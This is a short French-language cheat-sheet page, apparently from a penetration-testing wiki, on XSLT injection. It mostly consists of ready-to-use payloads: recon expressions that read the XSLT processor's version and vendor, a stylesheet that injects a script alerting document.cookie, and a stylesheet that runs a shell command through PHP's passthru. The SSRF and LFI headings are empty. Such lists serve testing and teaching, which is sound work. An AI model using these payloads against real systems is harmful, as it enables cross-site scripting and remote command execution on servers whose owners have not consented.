😎XSLT
XSLT (Extensible Stylesheet Language Transformations) est un langage permettant de transformer des documents XML en d'autres documents XML, ou d'autres formats tels que HTML pour les pages Web, texte brut. Lorsque le contenu XSLT est contrôlable par l'utilisateur, diverses attaques sont possibles
Recon
<xsl:value-of select="system-property('xsl:version')" />
<xsl:value-of select="system-property('xsl:vendor')" />
<xsl:value-of select="system-property('xsl:vendor-url')" />XSS
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<script>alert(document.cookie)</script>
</xsl:template>
</xsl:stylesheet>PHP RCE
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('passthru','ls -la /')"/>
</xsl:template>
</xsl:stylesheet>SSRF
LFI
Mis à jour
Ce contenu vous a-t-il été utile ?